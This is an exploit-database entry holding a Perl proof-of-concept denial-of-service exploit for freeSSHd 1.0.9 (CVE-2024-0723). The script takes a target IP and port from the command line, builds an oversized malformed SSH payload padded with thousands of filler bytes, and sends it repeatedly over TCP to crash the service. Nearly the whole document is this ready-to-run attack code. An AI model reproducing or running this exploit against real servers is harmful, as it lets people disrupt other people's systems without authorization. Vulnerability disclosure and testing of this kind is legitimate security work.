📄 freeSSHd 1.0.9 Denial of Service

# Exploit Title: freeSSHd 1.0.9 - Denial of Service (DoS)
    # Date: 2024-01-13
    # Discovery by: Fernando Mengali
    # Linkedin: https://www.linkedin.com/in/fernando-mengali/
    # Software Link: https://www.exploit-db.com/apps/be82447d556d60db55053d658b4822a8-freeSSHd.exe
    # Version: 1.0.9
    # Tested on: Window XP Professional - Service Pack 2 and 3 - English
    # Vulnerability Type: Denial of Service (DoS)
    # Tested on: Windows XP - SP3 - English
    # CVE: CVE-2024-0723
    
    
    use IO::Socket;
    
    
    #2. Proof of Concept - PoC
    
        $sis="$^O"; 
    
        if ($sis eq "windows"){
          $cmd="cls";
        } else {
          $cmd="clear";
        }
    
        system("$cmd");
        
        intro();
        main();
        
        print "[+] Exploiting... \n";
    
    my $bufff =
      "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"x18;
    
    
        my $payload =
          "\x53\x53\x48\x2d\x31\x2e\x39\x39\x2d\x4f\x70\x65\x6e\x53\x53\x48" .
          "\x5f\x33\x2e\x34\x0a\x00\x00\x4f\x04\x05\x14\x00\x00\x00\x00\x00" .
          "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\xde".("A" x 1067);
    
        $payload .= $payload;
        $payload .= "C" x 19021 . "\r\n";
    
    my $i=0;
    while ($i<=18) {
        my $sock = IO::Socket::INET->new(
            PeerAddr => $ip,
            PeerPort => $port,
            Proto    => 'tcp'
        ) or die "Cannot connect!\n";
    
        if (<$sock> eq '') {
        print "[+] Done - Exploited success!!!!!\n\n";
        exit;
        }
    
        $sock->send($payload) or die "Exploited successuful!!!";
    
    $i++;
    }
    
    
    
      
       sub intro {
          print q {
    
    
                                  _/|     
    	                         // o\    
    	                         || ._)  
            	                 //__\   
            	                 )___(   
    
    	    [+] freeSSHd 1.0.9 - Denial of Service (DoS)
    
    	    [*] Coded by Fernando Mengali
    
    	    [@] e-mail: [email protected]
    
          }
      }
    
      sub main {
    
    our ($ip, $port) = @ARGV;
    
          unless (defined($ip) && defined($port)) {
    
            print "       \nUsage: $0 <ip> <port>                 \n";
            exit(-1);
    
          }
      }